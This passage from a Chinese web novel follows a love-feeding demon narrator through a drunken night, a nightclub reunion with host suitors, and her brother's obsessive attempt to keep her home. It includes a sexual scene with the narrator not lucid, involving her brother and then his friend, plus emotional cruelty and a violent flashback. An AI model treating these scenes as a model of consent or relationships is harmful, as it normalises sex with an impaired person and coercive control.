我抱完他,脚步不稳地?往里走,身体越来越热,索性把外套脱了,甩开毛衣,扑腾脱掉裤子,然后躺到?床上,意识模糊地?漂浮着。 但体内的火仍在燃烧,反复碾磨着,欲望无处发泄,我猛地?坐起来,却撞上一堵结实的胸膛。 哪里来的墙?我摸索着,抬头看去,才发现哥哥站在床边。 房间没开灯,黑乎乎地?看不清脸。 我揽住他的脖子,非要他躺在我身边,不安分地?想要贴近那具带着凉意的身体,手伸进衣服里摸来摸去。 他抓住了我的手,呼吸错乱,勉强喊我名字。 我抬起头,迷糊地?蹭着枕头,像以前那样嘟囔着:“哥,你帮我,我难受。” 压缩的情感瞬间爆发,几乎是不管不顾地?,一个?吻落在我的唇上,熟悉的体温靠近,柠檬味钻进嘴里,拼命地?、不顾一切地?舔舐着。 砰砰砰。 心跳声大得吓人。 但在中途,一切戛然而止,他喘着粗气?,身体微微颤抖,低沉的声音在耳边响起,带着压抑的痛苦。 “小?冬,你到?底想要什么?。” 我哼哼两声,开心地?胡言乱语:“我要做明星!我要所有?人都看着我!我要吃饱,要大房子,要飞到?天上,游泳也不是不行,雪,嗯,还?有?雪……真好玩啊,哥,你知道?那有?多?神奇吗?比雪还?要好玩——” “哥。”我迷糊地?摸着他的头,用力往下按,“你帮我。” “……” 无言的寂静在黑暗中蔓延。 随后,有?人俯下身。 温热的触感绽开,呼吸错乱,按压住大腿的手几乎像是痉挛般用力。 但还?没有?抵达顶峰,一切戛然而止。 紧接着,我听到?压抑不住的呕吐声,身边的人佝偻着背,却紧紧地?抓着我的手。 完全没有?满意,我不满地?蹬了下腿,在床上翻了个?身。 沉默片刻,那熟悉的气?息远离。 脚步声远去又接近,随后,另一种棉花糖般的气?息靠近。 “明子?!这——” “浦哥,”他说,“你帮帮我吧。” “不行,这完全是——你怎么?能?这样!” “那就帮我吧。” “……” 压低声音的交谈像蚊子音扰人,我挥手想赶走蚊子。 耳边的说话声最终化作一声淡淡的叹息。 有?人说:“……好吧。” 温热的身体谨慎地?靠近,带着试探的吻、颤抖的手臂、断断续续的喘息,以及一颗忍不住贴近的心。 柠檬的气?息萦绕在侧,在这片寂静中,悄然变质。 我在温热的怀抱里翻了个?身,做了一个?前所未有?的好梦—— 作者有话说:窝在写什么……求包容(包容) 虽然冬子说帮我,哥是绝对会帮的,但是现在咚子不清醒+复杂的情绪,哥还是觉得自己恶心,然后吐了 大扔子也是派上用场了(拍) 第67章 起来的时候, 我正躺在浦真天的胸口,下意识用手捏了下,抬起头对上他泛红的脸,脑子持续短路, 又躺了回去。 昨天晚上干了什么来着…… 我苦苦思考, 只?记得飘飘然的感觉, 巨大的情感还未消耗殆尽,让我格外精神。 “小冬……” 我回过神,立马环顾四周,却没?看到?熟悉的身影。 奇了怪了, 总觉得他也在房间里。 我:“栾明呢?” 浦真天愣了下,视线看向房门,撑手起身, 犹疑地说:“应该在外面。” 我摸着头,精神劲终于消下去了,回味着昨天晚上的兴奋感,意犹未尽地砸吧下嘴, 在浦真天身上打了个滚,等他实在躺不住才起床。 “小冬。”他又说,“你哥也是为你好,不过他不太会表达, 你知道的, 他什么事都爱闷在心里, 谁也不想告诉, 但他对你绝对是没?有异心……只?想你好。” 我猛然回头,惊讶道:“他还在生气?” “……哎,你跟他说句话吧, 总是要?把话说开的。” 浦真天穿上毛衣,有些迟疑地摸下了脸,为难地说:“昨天晚上……” 我说:“很舒服,谢谢你。” 他盯着我眨巴眼?睛,温顺地低下头嗯了一声,尴尬地摸着后脖颈。 推门出去时,客厅里并没?有栾明的踪影,桌面只?有张“出门一趟”的纸条,我盯着纸条看了会,把它放在鼻子下闻,什么气味也没?有。 空气中柠檬味弱不可闻,像从来没?有存在这个人似的。 浦真天环顾客厅,“诶,明子人呢。” “他出去了。” 我拿着纸条问:“你知道他去干嘛了吗?” 浦真天垂头思索,忽然想到?了什么,唇角的弧度僵住,卡顿地说:“有可能是去存钱了。” 少了一个人,房间忽然显得空落落。 我和?浦真天两个人呆在客厅,我躺在他的胸口上看电视,时不时拿出手机回复朋友们的消息,今天是聚餐的日子,所?以下午我要?和?他一起去[极乐世界]。 但直到?夜晚降临,栾明也没?回来。 他是个不喜欢电子设备的人,平时也不会发消息,这次也是,浦真天给他发去几条消息,全部石沉大海,毫无回应。 难不成?离家出走了? 怀着这样的疑惑,我来到?了许久未来的[极乐世界]。 在门口,变了模样的潘小谷、苏音仪和?卫菱正在讲话,看到?我,她们立马围了上来,新?奇地拉着我看。 “感觉哪里变了……但是我想不出来。”卫菱的彩头已经?变成?及耳短发,因为打扮了一番,有点像个潮流铁T。 苏音仪抢答:“变好看了。” “小冬。”潘小谷把我抱住,眼?泪汪汪地说,“你瘦了啊,以后当网红,当明星岂不是要?更瘦?这就是赚钱的代价啊。” 她长吁短叹完,好奇地问:“你是不是签公司了?” “没?有啊。”我摇头。 苏音仪在旁边感慨,拿出手机播放视频:“昨天晚上这视频给我看得一愣一愣的,太巧了,刚好你上台,还以为你们公司安排的,不过给拍得真好啊。” 我才发现是昨天去演唱会的视频,模糊的记忆清晰不少。 视频播放量不少,点赞正在飙升,但远远比不上昨晚的感受。 我又开始回味,顺便叮嘱她们:“每天都看一百遍。” 潘小谷吐槽道:“我们是你的数据女工啊。” “我会发工资的。” 三人齐齐敬礼:“好的Boss!” 嬉笑打闹一番,我们走进[极乐世界],和?上次相比没?什么变化,我习惯性地清点人头,发现男公关的人数似乎减少了,显得有些寂寥。 感觉哪里怪怪的。 但始终找到?源头,这种捉不到?跳蚤的感觉像在做梦,难不成?这就是宿醉? 坐下后,我的灵魂半路出走,整个人又变得飘飘然,从昨天开始,我时不时地走神,话从左耳朵进右耳朵出,像是泡在水里,和?周围隔着一层膜。 “……” “你什么时候突破成?见的?” “以前不懂事。” 苏音仪苦笑道:“生活已经?够苦了,看点男人怎么了?” “对对对。” 卫菱跟着点头,声音被口罩蒙住,闷闷的:“今天是淡季吗?感觉人没?上次多,帅的也没?几个……” 声音远离又靠近,隐约有尖锐、清脆的声响接近,在模糊的声音里格外刺耳。 我打了个哈欠,转头看去,对上一双亮得刺眼?的绿。 泉卓逸已经?接近桌边,眼?中燃烧着火焰,气势汹汹地说:“为什么不告诉我。” 我眨了下眼?,说:“你现在知道了。” 他二话不说,一屁股坐到?我旁边,银色链条磕在玻璃桌面上,发出清脆声响,冷笑道:“不是工作,那?就是客人,我在这儿当班,没?有不服务客人的道理。” “你可以去服务别人。”我贴心地说。 “其他人哪个比我帅?” 卫菱和?苏音仪面面相觑,不由?点了下头:“其他确实是不行。” 我:“那你坐着吧。” 潘小谷的眼?睛在我们之间打转,迟疑道:“……请问你是?” “泉卓逸。” 泉卓逸给自?己倒水,露出营业的笑容,但总有点阴阳感,让人倍感不适,“上次的事你们还记得吧。” 对哦,上次他和?浦真天打架的时候,潘小谷她们可是亲眼?看到?的。 思考凝滞,我困倦地打了个哈欠,任由?旁边的人把手放在腿上,又被抓着手,挤进五指之间。 他看着我,难以掩饰眼?中的焦躁,冰凉的戒指让我清醒了点,但仍然像是在做梦般。 我全神贯注地感受另一具身体?,灵魂凝实不少,身体?弥合进度暴涨,可能是因为昨天吃得太多,导致我的精神不佳,产生了宿醉的感觉。 手被不轻不重地捏了下,泉卓逸紧盯着我,眉头皱得很紧。 苏音仪:“那?你和?小冬……” 泉卓逸提起嘴角,嗤笑一声:“我是她的什么?之前是狗,但现在什么都不是。” “玩这么大?!”苏音仪一口水差点喷出来,赶紧用杯子挡住脸。 潘小谷担忧道:“可是如果要?当网红的话,来这会不会被人说道啊。” “……对哦,要?不然你也戴个口罩吧。” 卫菱从兜里掏出口罩,塞进我的手里,又左看右看,确定没?有人注意到?我们,才说:“小冬在这工作,应该不会有很大问题吧。” “我没?有工作了。” 我终于想起这件事,慢悠悠地说:“但也没?有正式辞职。” “你还在生气吗。”泉卓逸忽然低声问,语气软了下来 “生什么气?” “上次的事。”他咬了下唇,那?总是显得桀骜不驯的脸上露出一丝脆弱,“你不是在生我和?宗朔的气吗?” “那?个啊,早就忘了。” “那?为什么不回来。” “因为不好玩了。” 说完,我又走神了,大脑像是被什么东西嘬了一下,胡乱地闪过模糊的记忆片段,等回过神,身边的空气不知道为什么安静无声。 泉卓逸沉默不语,猛地抓起桌上的酒杯,仰头灌了下去,喉结剧烈地滚动着。 仍然握着的那?只?手热得出汗。 我抽回手,捧着脸走神。 潘小谷凑到?我耳边,忍不住说:“我们走的半年多到?底发生了什么,他看着像受了情伤,要?不然我们跑路吧。” 我正想说什么,潘小谷突然抓住我的手臂,震惊指向一个方向,其他人也抬头看去。 麦景走进大厅,是上次的黑衣打扮,像只?黑色的乌鸦,表情冷淡,看上去和?周围格格不入,但看向我们时,愣了一下,脚步转头向我们走来。 “这、这——?!”潘小谷激动地拍大腿。 苏音仪和?卫菱一脸雾水:“这谁?你看上了?” “不是!”潘小谷差点没?憋过去,疯狂看我的眼?色,“这不是我们高中同学吗。” 苏音仪一脸震惊:“什么?!” 说话间,麦景走到?桌边,喊了一声我的名字。 他朝其他人微微点头,然后自?然地坐在了我另一侧,正好对着泉卓逸,一个脸色瞬间阴沉,一个面无表情,空气仿佛凝固了。 “呃……我们要?点两个吗?”卫菱迟疑地举起手。 苏音仪立马捂住她的嘴:“什么叫点两个,那?个是我们的高中同学。” “我也在这里工作。”麦景平静地说。 苏音仪:“……” 她松开手,表情复杂地坐下。 潘小谷傻眼?,忍不住抬头看向我,眼?中隐含着担忧。 但我完全没?懂,仍然像是在做梦般,对周围的感知隔了层膜。 我看向麦景,总觉得这张脸熟悉又陌生,好像很久没?看到?过,又像是昨天才见过。 我:“你是来辞职的?” “嗯……”他说,“还有点其他的事。” “呵,你能有什么事。” 泉卓逸冷笑,指尖不耐烦地点着桌面,“没?业绩的家伙,只?会冲假业绩充面子。” “和?你没?关系。” “当然,我只?是想嘲讽你。” 麦景淡淡地看了他一眼?,移开视线转向我,忽然开口:“小冬,我有件事想跟你说。” 我:“什么?” 他看了眼?周围的人,倾身凑近在我耳边,旁边泉卓逸冰冷的视线几乎要?在他身上戳出洞来,这幅凶狠的模样让我稍微提起神,全神贯注地听麦景讲话。 他说:“你哥去高利贷那?边了,我觉得有必要?告诉你一下。” 我点点头,原来不是离家出走。 泉卓逸立刻伸手揽住我的肩膀,强势地将?我的注意力拉过去,还把酒杯抵到?我唇边:“别光看着他啊,我也在这儿呢。” 我喝了一口酒,声明道:“我也不是客人。” “……你就没?什么想对我说的吗?”他声音里压着情绪,脖颈上青筋微凸,“你现在做什么都不告诉我了,是不是真打算把现在的一切都丢掉?像我,像其他人说的一样?” 他死?死?盯着我,眼?底翻涌着难以言喻的无力感:“你根本不在乎身边发生什么,对不对?” “你是不是真的要?——” 又一道身影停在了桌边。潘小谷、苏音仪和?卫菱齐刷刷地看向我。 许久没?见,这张脸也变得熟悉又陌生,宗朔撩起头发,露出那?张带着几分?颓丧却依旧惹眼?的脸。 “哟,来了怎么不跟我说一声?”他语气懒散,目光却直直落在我身上。 我看看他,又看了眼?被打断施法的泉卓逸,再往旁边是永久面无表情的麦景,和?三个控制不住表情的朋友。 这幅场面像是某种情景剧,让我莫名想笑。 我摇摇头:“没?什么想说的。” 泉卓逸的脸色骤然变差,放在腿上的指节泛白。 “是吗。”宗朔淡淡应道,“聊一下吧,总不能一直避着我,我好歹也算是你的朋友吧。” 跑友也是朋友。 鼻尖嗅到?混杂的情感,但连开口品尝的欲望也没?有,起床后没?有进食过,但我却不觉得饥饿。 被薄膜包裹住的感觉萦绕不去,无论做什么都像是在做梦。 潘小谷拉了我一下,忧心忡忡。 苏音仪干笑打圆场:“哈哈哈这位是?” “老板。”宗朔回答。 卫菱迟疑地问:“……老板也可以点吗?” 宗朔笑了下,语调懒散地说:“当然,只?要?你想,不过今天我没?空。” 他看着我的眼?睛,懒洋洋地挑起一边眉毛,仿佛之前所?有不愉快都没?发生过,只?是耐心地等着我的回应。 麦景轻轻拉了我的手腕,语调平静:“如果有事,我可以帮忙。” 话音刚落,泉卓逸立刻不甘示弱地抓住我的手,执拗地问:“你还没?回答我。” 左一个右一个,面前还站了一个,差个人来组成?两局麻将?,八个人同时打麻将?的话,就有十六条腿,相当于四只?青蛙……有人训练过青蛙打麻将?吗? 头顶传来轻淡的哼笑声,宗朔说:“不接受四人谈话。” “这个月的工资,你忘记了?” 工资! 我同时甩开两人的手,对潘小谷她们递了个放心的眼?神,起身跟着宗朔离开了卡座。 再次走进那?间熟悉的办公室,里面的一切仿佛被时间凝固,和?我离开时一模一样。 “和?你走的时候一样。”他说,“你的东西我没?碰,等着你回来呢。” 宗朔看向我,脸上的笑容减淡,不知何时彻底没?了表情,带着浓重的倦意,眼?下乌青。 他问:“还生气吗?” “我没?有生气。” 为什么都觉得我在生气?生气是很费神的事,比方说现在我应该生栾明的气,但是我的精力完全被吸走了,甚至差点忘记直呼他的名字。 我熟稔地坐下,习惯性地转动办公椅,打了个哈欠:“我只?是不想来了而已。” “没?意思?” “没?意思。” 宗朔站在原地没?动,手摸索着衣兜,闻言低头笑了声,不带任何情绪,只?是单纯地提起唇角。 “霍亦瑀不是个好人,如果你要?选他,我只?能祝你好运。” 我想了想,问:“你是在激怒我吗?” “我是在向你求和?。”他突然点燃烟放在嘴里,白色的雾气模糊了神情,嗓音倦怠,“只?不过好像不可能了。” 猩红火光在指间闪烁。 宗朔放下烟,视线模糊又清晰,有股近乎锐利的攻击性:“有种真心喂给狗,被践踏成?渣的感觉,你懂吗?不吧,你可能一辈子都不懂。” 我转头看两边,确定房间里只?有我们两个人,于是疑惑地指向自?己,问:“我?” “你的真心又是什么东西?” 他吸了口烟,脸上彻底没?了表情。 “而且。” 我说:“我们没?什么关系吧。” 宗朔陡然沉默下去,用力吸了口烟,才哑声说:“你不是说,是赞助人么?那?张纸呢,也扔了?” “在书包里。” 宗朔:“可以丢了。” 我坐起身,紧盯着他。 “你又在气什么?不该高兴才对吗。就像每次你给我东西时那?样,你明明也在享受那?种施与?的快感,怎么到?头来,亏欠的就成?了我呢?” “你是被需要?就快乐的人啊。”我说,“我也是在满足你而已。” “我们是互惠的。” “就像你和?客人一样,不是吗?” 我认真地问:“作为男公关,你也在欺骗客人,靠骗女人的钱活着,为什么不懂这个道理呢?” “还是说,你其实从来不觉得自?己在骗人,没?有接受自?己是靠女人施舍才活下去的人?对啊,因为是你老板,有双重身份,所?以工作更高贵点。” 说着,忽然想起网上看到?的话,我了然地点点头,说:“可是都是卖,又什么不一样呢。” “你的真心,那?个东西真的存在吗?” “它是客人送给你、你再转送给我的手表、或者你想买就买了的项链……还是八千块的工资啊?” 我仔细地回想他送过的东西,顺便拍了下办公桌:“这个肯定不是,因为这是你的,虽然我坐着,但从来都不是我的。” “……” 猩红的火光明明灭灭,沉默在房间里蔓延。 “我不要?了。”我说,“你的真心还有其他东西。” 宗朔忽然笑了下,像是开玩笑般漫不经?心地说:“你就这么看我。” “挺对的。我就是个烂人。” 他抽着烟,直到?燃尽的烟蒂烫到?手指,才将?烟头摁灭在烟灰缸里,用一种近乎陈述的肯定语气说:“走吧,去过你的好日子。” “走吧。”他说。 宗朔就站在门口,我路过他,握住门把,冰凉的金属触感传来。 薄荷味浓得几乎呛鼻,涌进鼻腔火辣辣地凉。 “嘭!” 就在门即将?打开的瞬间,一只?手猛地撑住门板,将?它压了回去,手背上青筋腾起。 瞬间的失控被拉回,额角青筋凸凸地跳,他的脸笼罩在阴影中,复杂的情绪剧烈地翻涌,最后化作沉沉的黑,被垂下的发丝遮掩住。 “如果……还有下次。” 他说:“你会知道到?底什么是真心。” “再见。” 按在门上的手收回,我终于开了门,走上回到?卡座的路,脑中闪过模糊的记忆碎片,思绪摸不着边际,时不时飘到?远处,思考着四条腿的青蛙。 七个人算多少只?青蛙?一点七五个吗? ……等等,有哪里不对! 我恍然想起工资压根没?拿,刚才放下狠话啥也不要?了,应该在拿到?钱之后讲的! 我正惋惜不已,回到?大厅却发现卡座边再次多出一道身影。 惊慌失措、拼命比手势的潘小谷三人、脸色苍白慌神的泉卓逸、垂头不知道在想什么的麦景……以及哥哥。 忘记叫他名字了,算了,反正我也不生他的气。 再次凑够八个人了。 我想,现在算两只?青蛙—— 作者有话说:宗某人终于遭殃,他也被富哥搞了,so…… 富哥其实拿的传统豪取抢夺剧本呐,结果无人在意……因为冬子完全没察觉出来!总之,后面会狠狠地虐他,我算了算,大概还有三个男嘉宾,因为人数太多,可以写点伤残戏码吧(可以吗?) 第68章 聚会戛然而止。 哥哥一言不发, 攥着我?的手腕,力道大得不容挣脱,打算直接带走我?。 困意如潮水般涌上,我?迷迷糊糊地和朋友们?道了别?, 回到家, 第一时?间去上床, 几乎是沾到床的瞬间就沉入了梦乡。 然后?,我?做了个梦。 一个关于久远过去的梦,本该消失在记忆尘埃里?的角落,此刻却异常清晰。 梦到的不是别?人, 是那个连面容都已模糊的恶魔,我?的母亲。 恶魔鲜少有亲缘的概念,她生下我?后?便跑出去寻欢作乐, 直到一个月后?才想?起我?的存在。 找到我?时?,我?正被一个形似章鱼的雄性恶魔抱在怀里?,那恶魔是个异类,迫切地想?要养育孩子, 甚至发生了肢体?变异,分泌出乳汁,试图喂养我?。 但我?也是个异类,根本不吃乳汁, 时?常饿得奄奄一息, 勉强长到能爬能跳时?, 我?的亲生母亲回来了。 她毫不犹豫地轰碎了那个章鱼恶魔, 然后?抱着我?,和她的朋友们?像研究什么新奇物件般摆弄我?,最终实验发现, 我?赖以生存的养分并非寻常食物,而是爱。 尽管嫌弃,母亲还是用她的方式养大了我?。 她将我?寄养在不同种族的家庭里?,只在夜晚出现,反复告诫我?谨记自己恶魔的身?份。 等我?再长大些,能够独自狩猎后?,她便彻底失去了踪迹。 恶魔繁衍艰难,据我?所知,近几百年间唯一的新生儿只有我?,但因恶魔臭名昭著、情感寡淡,我?的诞生无人喝彩。 除了她。 我?出生后?品尝到的第一口爱,来自她。 梦中,早已遗忘容貌的母亲有着巨大的黑色翅膀,粗壮的尾巴缠绕着我?,面容隐在浓雾里?,唯有一双黑沉的眼睛,死死盯着我?。 “你太?弱了。”她的声音毫无温度,只是陈述事实。 “如果我?不在,你一定会死得很惨。” “你要学会怎么让自己活下去。”她的指尖冰冷,抚摸着我?的牙齿,轻哼一声,带着我?展翅飞入森林深处,停在一座透着温暖灯光的木屋前。 我?扒着窗户往里?瞧。 三只兔子兽人围坐在一起,长耳朵机敏地立着,正享受着家人的温馨时?光,甜蜜的情感像是橱窗里?的蛋糕,诱人无比。 母亲猛地击碎窗户,如黑色狂风般卷入,当着那对?父母的面,利落地杀死了他们?的孩子,然后?将我?丢进绝望的怀抱。 “你们?来爱她。”她对?着充满仇恨、恐惧着的兽人命令道,“下个月,我?来接她。” 说完,她毫不留恋地振翅飞走。 那对?瑟瑟发抖的兽人父母转过头?,瞳孔缩成针尖,看向我?的眼神里?满是刻骨的恨意与恐惧。 一个月后?,我?还活着。 离开的时?候,那对?兽人父母自杀了。 破碎的记忆在梦境中无比真实,蔓延到脚边的血液是湿热的,我?蹲下身?,用手指沾了一点,喂进嘴里?,却遗憾地发现它根本无法让我?饱腹。 月色下,有着巨大翅膀的恶魔降临到我?身?边,难得露出一丝欣慰,抚摸着我?的脑袋。 她的手掌是冰冷的,没有脚边正逐渐失去温度的尸体?暖和。 “就这样活下去。” 她冰冷的声音在我?耳边不断回响、放大。 活下去。 我?总会活下去的。 被推进时?空裂缝都没死,我?的命特别?硬。 醒来时?,头?晕目眩的感觉已经?消散,取而代之的是一种被包裹在膜里?的钝感,非要形容的话,就像吃得太?饱,身?体?自动长出了一层隔绝外界的脂肪层。 我?在床上发了好一会儿呆,才伸手拿过手机。 昨天离开后?,消息几乎炸锅,潘小谷尤其激动,聊天界面全是语无伦次的惊呼,说昨晚[极乐世界]差点打起来,最后?提前关门,她们?回去后?根本睡不着。 她还格外伤感地发来长段文字,感慨人生无常,世事难料,昔日高?中同学竟成了男公关。 而她口中堕落的高?中同学,麦景也发来了消息。 [麦景]:小冬要去其他地方了吗? 只有短短一条。 我?点进不断弹出的消息列表,泉卓逸正在里?面发疯,情绪如同过山车,没等我?看完,过山车似乎驶入了谷底,他自行消停了。 为什么所有人都觉得我?要走? 霍亦瑀是说下周再做决定,可?我?还没答应呢,他说要选择,那我?就必须选吗?我?完全可?以创造一个新的选项,就在这里?,同时?得到一切。 完全不想?挪窝,我?的人类资产虽然吵闹,但是至少也能算上资产,如果离开,那不就相当于全部重来吗? 我?是个懒惰的恶魔,此刻懒惰再次占据上风,在长出那层无形的脂肪层后?,我?只想?躺着不动。 但事情总不让我?如愿。 当我?走到客厅,眼前凌乱得无处下脚,仿佛走错了地方,哥哥站在一片狼藉中央,周围全是翻出来的杂物,像是为了找什么东西而弄得一团糟,但他此刻只是束手无策地站着。 “哥。”我叫了他一声。 他像是被惊醒,猛地回神,那双黑沉的眼睛里?坠入一点晃动的光,声音发颤:“待在家里?不行吗?待在我?身?边不行吗?” 我?环顾四周,慢半拍地说:“可?是……” “我?保证以后?会给你更?大的!别?再出去了。” 他突然跪在我?面前,紧紧抓住我?的手,语气急切得近乎哀求:“以前是我?错了,现在我?来补救,行不行?不要再出去了,我?接受不了,一切变得太?快了,小冬,听哥哥的,别?再出去了。” 他的面目似乎被无形的黑色丝线缠绕覆盖,上半张脸隐在阴影里?,深沉的黑暗中偶尔闪过激动而尖锐的光。 我?:“为什么?” 嘴唇张开又合上,所有的话被他咽回肚子里?,只剩下孤零零、单调的一句。 “……我?怕。” “不会。” 我?安抚性地拍拍他的手,再次解释道:“我?为什么要走?我?的东西都在这里?。” “我?不会走。” 但听到我?的话,哥哥松开手,唇色惨白,挺直的腰背逐渐弯曲,整个人几乎蜷缩在地上,激烈的呼吸声在房间里?空洞地回响。 “不要走。”他猛地抱住我?的腿,力道大得生疼,“不要再出去了。” 真奇怪啊。 我?摸了摸他的头?发,他反而像被烫到似的,猛地弹起来,我?才发现他的右手不知道什么时?候缠上绷带,隐隐可?见血色冒出。 还没等我?问?,他将手藏在身?后?,避开我?的视线。 “……可?以答应我?吗?就这一次。”他声音低哑,带着最后?一丝希冀。 我?静静地看着他,再次感觉像在做梦,这幅模样完全脱离了记忆印象,哥哥什么时?候变成这样了?像要疯掉一样。 “只有这一次,” 他低声下气地恳求:“三天,就三天行吗?我?会想?明白的,求求你了,小冬,待在家里?三天,别?走,行吗?” 三天啊,霍亦瑀给的最后?期限还有一周呢。 只是三天而已。 反正我?也懒得动,于是,我?点了点头?。 “好。” 我?继续躺平生活,每天都觉得像是在做梦。 霍亦瑀最近很忙,但仍会偶尔发消息,提醒我?尽快选择,每当我?想?提起其他事,他就像条泥鳅般滑不溜手,将一切推到下周。 我?索性不再去想?,继续懒洋洋地消耗着体?内储存的庞杂情绪,在哥哥近乎偏执的看护下,每天醒了看电视,困了就睡。 奇怪的是,我?待在家里?,他反而越来越恐惧。 像只神经?质的困兽,一点细微声响都能让他惊惶不已。 随着时?间流逝,那根紧绷的弦越绷越紧,身?上的黑色情绪越来越重,几乎要看不清脸,在我?入睡前,他会将所有的衣物反复整理,然后?站在床边,既不靠近,也不离开,就那么一动不动地看着我?。 直到第二天清晨,我?从睡梦中醒来,他依然站在原地,眼中布满红血丝,缓慢地眨着眼睛。 这简直就是在看守囚犯。 他说他请了三天假。 这三天,他寸步不离地盯着我?,从清晨到深夜,我?走到哪儿,他就跟到哪儿,连饭也不做了,宁愿点外卖,也不愿出门买菜。 他像是彻底变了个人。 我?还好,在家里?的另一个人被他的状态吓了一跳。 浦真天的表情从犹豫逐渐转为怀疑,难得再次露出严肃的神情,试图找哥哥谈谈,但哥哥不肯离开我?半步,他一直没找到机会。 浦真天忍耐着,直到第三天中午,他终于忍不住,在客厅里?直接开了口。 “明子,别?再发疯了,难不成你要一辈子把小冬关在家里?吗?” 他拧着眉头?,神情复杂,忍不住沉沉地叹了口气:“你看看你自己现在的样子,你真的完全疯了!” 哥哥原本不打算回答,但是浦真天拦在我?身?前,用失望的眼神看着他。 “那你要我?怎么做?” 哥哥猛地抬头?反问?:“因为你不是我?,所以可?以心安理得说这种话!浦哥,你不是我?啊!” “……别?再这样了。”浦真天难过地别?开眼,“没用的。” “……” 今天是第三天。 我?抬头?看向墙上的时?钟,在令人窒息的寂静中拿起手机。 [泉卓逸(1.7有钱有颜有技术)]:我?在楼下 [泉卓逸(1.7有钱有颜有技术)]:今天可?能是我?们?最后?一次见面,如果你不下来,我?会一直站着 我?走到窗边向下望,果然看到一道消瘦的身?影,像棵枯树似的立在路边。 这三天,我?睡的时?间减少,收到的消息也逐渐减少,原以为泉卓逸也会安静些,但没想?到他还是来了。 他就那样固执地站在路边。 我?想?了想?,回房间穿上外套,走到门口。 客厅里?死寂的两人同时?看向我?。 “我?出去一下,很快回来。” “……” 没有回应。只有两道沉重的目光。 我?下了楼,慢悠悠地走到泉卓逸身?边,问?:“怎么了?” 他抿着苍白的唇,呼吸在冷空气中凝成白雾,声音发颤:“跟我?去个地方。” “墓地?” “不是。”他脸色难看了一瞬,低声说,“你还记得我?们?第一次约会的地方吗?” 第一次约会…… 等我?们?到达那个游乐园,冬日的白天人影寂寥,路边挂着孤零零的红灯笼,显得格外冷清。 他在前面沉默地走,我?在后?面漫不经?心地看风景,三天没出门,庞大的情感即将消耗殆尽,此时?,站在没什么人的街道,有种脱离梦境回到现实的冷感。 毕竟冷是真的冷。 记忆里?热闹的游乐园此刻空旷无人,只有零星几个工作人员裹得严实,在寒风中走动。 我?们?走到园内最高?的建筑下,泉卓逸去买了两张票。 缩在厚厚棉服里?的工作人员帮我?们?打开舱门,眼神古怪,大概没想?到会有人在大冬天、而且还是白天来坐摩天轮。 座舱狭窄。 我?和泉卓逸面对?面坐着。 他只穿了条单薄的裤子,隔着布料,能感觉到他嶙峋的骨头?,好不容易养出来的一点肉,在这几天里?急速消减,又变回了那副脆弱精致的鸽子笼模样。 但这种瘦削,反而给他增添了一种病态的攻击性,他发梢带着湿气,不知在楼下站了多?久。 摩天轮缓缓上升,地面逐渐远离,泉卓逸脸色苍白,紧紧抓着座椅边缘,不敢看向窗外。 我?纳闷道:“为什么要来这里??” 屁股下的铁座位尤其硌人,我?后?知后?觉地反应过来,跟着他出来纯粹是因为我?的脑子还懵着。 “留点回忆不行吗?” 泉卓逸语气干涩地说:“在一切彻底变烂之前,至少保留一点美好的东西吧。” “你还记得上次我?们?来游乐场吗?那一次……至少在遇到柯觅山之前,我?是真的开心。” 回想?起他发来的消息,我?问?:“你要去哪?” “……是你要走吧。”他猛地抬头?,眼眶瞬间红了,“他就那么好?就在这里?,和我?们?在一起,你想?要什么没有?为什么一定要走!我?已经?接受了现在的一切,为什么你还是要走!” 又是这句话。 你要走、为什么要走、为什么一定要走…… 所有人都觉得我?会走。 莫名其妙的一致认定像根针戳破了无形的脂肪层,敲碎做梦般的幻觉,猛地拔高?烦躁,火苗越烧越旺,直接把原本迷糊的大脑烧醒了。 我?彻底醒了。 仿佛终于呼吸到了真实世界的空气,挣脱了那层昏沉迟钝的膜。 “对?啊。”我?清晰地听见自己说,“我?要走了。” “所以呢?你想?做什么?” 泉卓逸的脸色骤然惨白如纸,像是被无形的东西狠狠击中,露出痛苦不堪的神情。 “留下来对?你来说就那么难吗?维持现状不是你最想?要的吗?为什么非要在我?好不容易适应之后?,又彻底打碎一切!” “为什么要适应?我?逼你适应了吗?” 我?不耐烦地打断他,厌烦的情绪达到顶点:“反反复复的是你!是你自己非要凑上来,然后?自顾自地受伤!如果你能滚远点,根本没人能伤到你!你根本就是喜欢被伤害吧?” “你是记吃不记打的狗吗?非要我?踹你一脚,才知道听话?” “……留下吧。” 他蜷缩起身?体?,手指颤抖地捏住我?的衣角,用一种近乎卑微的眼神恳求着我?:“不要走。” 眼泪不停地从他苍白的脸颊滑落,他仓促地呼吸着,像个迷路无措的孩子。 “我?只想?像以前那样,和你待在一起……就算你不管我?、不理我?也可?以……留下来吧,在[极乐世界],像以前一样,好不好?” “不可?能了。” 我?的大脑越来越清晰,每个脑细胞都在跳舞,懒惰被彻底激怒,逆反心理占据了上风。 我?不要留在这里?,所有强加给我?的想?法,我?都不要!所有人,我?都不要了! 既然他们?都认定我?会走,那我?就走好了! 高?空的冷空气从门缝钻入,让我?头?脑异常清醒,甚至带着一种亢奋,我?打量着眼前哭得喘不过气的泉卓逸,反复咀嚼着他这份毫不掩饰的痛苦。 “我?原本挺喜欢你的。”我?说,“但你总是太?贪心了。” “别?哭了,就像你说的,保留点美好的回忆吧,至少哭得好看点行吗?” 泉卓逸猛地捂住脸,胸膛剧烈起伏,呼吸急促,得像是下一秒就要过呼吸,整个座舱都随着他的颤抖而轻微晃动。 摩天轮转完一圈,缓缓降至底部。 泉卓逸依旧埋着头?,拼命压抑着崩溃的呜咽。 “难道我?想?要开心也是错的吗?我?的存在本身?就是错误吗?连我?的感情、我?的行动也全都是错的吗?” “……你就不能……不能试着爱我?吗?” 是什么绝望的人会说出的绝望的话,像这种没有可?能的事情,就不要再胡闹了。 “别?再没完没了地说你自己了。” 我?撑着下巴,看向窗外再次开始上升的景色,叹气道:“翻来覆去,全是你的那点心思。” “你了解我?什么呢?” 我?轻声问?,带着一丝真正的疑惑。 “……” 他没有回答,也无法回答。 “难不成,你想?把我?变成你母亲的替代品?像她一样虐待你,你才满意?” “不是!我?从来没有那么想?过!”他激动地反驳。 “真的吗?”我?盯着他,认真地问?,“你内心深处,一次都没有期待过吗?” 泉卓逸:“……” 他狠狠攥紧自己的衣领,指节泛白,凌乱的领口下,隐约露出遍布的、因反复抓挠而发红的陈旧疤痕。 这一刻,他仿佛与记忆中那对?兔子父母的身?影重叠。 